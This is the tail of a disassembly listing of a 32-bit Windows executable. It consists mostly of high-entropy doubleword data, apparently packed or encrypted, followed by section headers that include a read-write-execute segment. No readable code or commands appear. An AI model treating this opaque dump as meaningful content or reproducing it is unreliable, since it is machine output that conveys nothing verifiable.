		dd 92F91B11h, 2AFC6778h, 0D67F6963h, 0DD0F1061h, 0E724BCECh
		dd 759835F7h, 0EA2875E3h, 65C2A7F7h, 594DB324h,	3928D809h
		dd 17A7A2A8h, 0F748C04h, 59F35390h, 563C439h, 6BE84819h
		dd 6E0B518Dh, 0EFA418A3h, 0F7DFF29Eh, 3E4AC569h, 29BE42FDh
		dd 0A2A854E1h, 0A9D661D3h, 78B337BFh, 56D2E0AAh, 0A872351Bh
		dd 0F2FC0E3Eh, 0B47D18B0h, 681592BEh, 0DCF47FD6h, 0DEC6C54Ch
		dd 86214BF8h, 782A906Ah, 16830CDAh, 4B174D94h, 1BDC1B59h
		dd 95F68316h, 7D202CEBh, 5A2CC51Dh, 0CAB56C6Eh,	0C60B5C64h
		dd 0EF30A1D0h, 9C2F460Fh, 7BE2EE6Eh, 0CE8FF90Ch, 6B9FF10h
		dd 9C808617h, 0D1F78879h, 8F77F800h, 0FE0540BFh, 6C9D0737h
		dd 82F1FBBEh, 6294FD40h, 3C1C34B3h, 0EC5989C8h,	0C8DF066Dh
		dd 0EE0EEE6Ch, 0AD836A88h, 90456D04h, 7F5F6D00h, 56B3BA8Ch
		dd 1AA4DCDFh, 0EEDC07E2h, 5ACA90F9h, 0F71883F2h, 1C38F4F5h
		dd 0F60F914Bh, 0D3FD6B6Ch, 335E511Bh, 9EF4B2B5h, 15AD6A13h
		dd 0EB77F299h, 0FEAAACBDh, 0C0777582h, 0E142B6F4h, 0D6000043h
		dd 0BA418E7Bh, 323BB871h, 5B3CC76Eh, 43064ED5h,	0C39803F7h
		dd 9FD1A62Ch, 790D49F6h, 0A5B3C6A9h, 0EAFE7E09h, 0B26F93DEh
		dd 49A73F8Ah, 1DAD0EF8h, 2FD40095h, 0EBBE411h, 21318321h
		dd 1CE04B8Bh, 0CF21A424h, 0C0412C88h, 332D66CCh, 9751A75Fh
		dd 78005DCAh, 71DADB34h, 0B6EE62A5h, 378E0693h,	78179B23h
		dd 9628EF22h, 1A07CDBEh, 8823AB5Eh, 0EBFD0334h,	9FF9A26Ch
		dd 32B48311h, 2A01F2F8h, 0ECB61665h, 26C21C27h,	6D539A6Fh
		dd 0FEF7FC91h, 0C615EB6Eh, 21082155h, 0CE1573h,	5B1F5F39h
		dd 2336D849h, 12D0C4D4h, 15118870h, 3A4AD4D5h, 3DED261Fh
		dd 3417154Fh, 72DA60h, 6675ED13h, 0B34BC36h, 0B037D02Bh
		dd 6A27E4D6h, 0AF38BE4Fh, 7598D5EAh, 0C95F117Ch, 86B52DEEh
		dd 1833948Dh, 84AFAD94h, 0FFEFBF0h, 3C5F913Dh, 7829C64h
		dd 8C85317Dh, 883978C4h, 5B94F7BBh, 742C9DEEh, 630CACD0h
		dd 0EC54D6AEh, 0CB6403C0h, 1D8FA1BDh, 8F8B8287h, 0C92585D3h
		dd 0BAECBBE7h, 0B0D7A8C4h
		dd 7312CF5Bh, 0BC87C2B2h, 0CEC94405h, 368574Bh,	82E429B9h
		dd 9AC54619h, 55848A16h, 3952A6DEh, 6FEE3FAAh, 0A60EF70Eh
		dd 7104F32Fh, 0FCBB983Fh, 5C3197CBh, 0BCE09AC7h, 4E000E6Eh
		dd 0AB5ADE52h, 9323737h, 86808195h, 4F6C42E8h, 84DA9510h
		dd 8705578h, 0A66239D6h, 3EEB819Dh, 0D955EA77h,	0E6CF097Ch
		dd 0EA9C3EE4h, 7B3FF560h, 44BBD378h, 640AFC7Fh,	8057AA04h
		dd 31B6B3D1h, 0CB49B9EAh, 9F201AFDh, 1940E256h,	7C9F6848h
		dd 1EF62C76h, 45C73CA3h, 28F44CCBh, 0A6B40AC1h,	0BBE38D8Ch
		dd 0C2DEE13Eh, 873F60Eh, 4C9088D5h, 27CAC84Dh, 71D8D7AAh
		dd 308F5074h, 931C7BA2h, 1772FC80h, 0CE2EEEC7h,	625CD3F0h
		dd 58FCD6C1h, 0A61A2C82h, 0A4CDA561h, 0DCA2BA03h, 5F089332h
		dd 82EAF031h, 3B8FE027h, 8849AAA6h, 83B1694Ch, 1A6929DFh
		dd 8C9E9095h, 29CC6544h, 0E77973B0h, 0D2E3A848h, 70ED6CECh
		dd 8EAA7D9Fh, 245FEA37h, 32E2E876h, 0CCA4971Bh,	0C1D1FDC7h
		dd 7A51CDE0h, 1398B7B8h, 0C9925BAEh, 3A15240Ah,	39B97C6h
		dd 0D253E796h, 0FC9DCDC7h, 99706DFh, 0DC58EA0Ah, 81E902B6h
		dd 9B308905h, 9404ADDh,	5FDF43C5h, 152EF5D6h, 0A7AC5977h
		dd 1428D2A5h, 4739A6F9h, 925BC4B8h, 28DAE88Dh, 2A0A6FD3h
		dd 0E9885382h, 45873712h, 4D577508h, 0ABB38CF3h, 65827001h
		dd 0E9138B7Dh, 0A9097DE7h, 8073E569h, 0CAD7C0CEh, 0E31A2467h
		dd 5E88705Eh, 4E8B3269h, 56A84DF0h, 65DE3A04h, 4C9760BAh
		dd 0A4A0D5DFh, 9AF21A01h, 0A5438A39h, 448DAE5Fh, 2E279369h
		dd 0B002D223h, 112E0791h, 33C7BEADh, 0E0D93B3Dh, 68E180F1h
		dd 7304882Ch, 581AA5F6h, 3022571Dh, 79CA2F72h, 30137CADh
		dd 723DD86Eh, 368CE34Ah, 0B493A901h, 6A04932Dh,	0EB42DF15h
		dd 0EC39F56Fh, 2F212140h, 3A477726h, 120004ADh,	57497394h
		dd 77D7E00Fh, 0D98A7469h, 4082FCAAh, 0B350BD0Eh, 0C008FC70h
		dd 0D8252C0Ah, 107CA820h, 0ACC3626Dh, 19640382h, 47874653h
		dd 8CB6B0AFh, 856DCE6Eh, 9368A969h, 0E9AC20AFh,	5D82437Eh
		dd 50D6FAEAh, 79D18145h, 6A8B7AA1h, 0FB23BF20h,	18BC1FC7h
		dd 7D0CA319h, 82822EADh, 0DF466587h, 137D5DE6h,	0E89E63C4h
		dd 30CBD44Eh, 0AE6D06F8h, 0D38B7815h, 0CCA2FAEDh, 0E6EC83E0h
		dd 6F61B4F9h, 78D87CFCh, 2F2C41F3h, 0BA236E98h,	0B69F733Eh
		dd 0D74D7616h, 40BE53DCh, 92D8A36Ah, 0D9CDE79Ch, 0B62E1F90h
		dd 85BD4948h, 5C0FB203h, 1C2709F7h, 100h dup(0)
_data		ends

; Section 5. (virtual address 000FE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000FE000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 4FE000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 400h	dup(0)
_adata		ends

; Section 6. (virtual address 000FF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FF000h
		align 2000h
_idata2		ends


		end start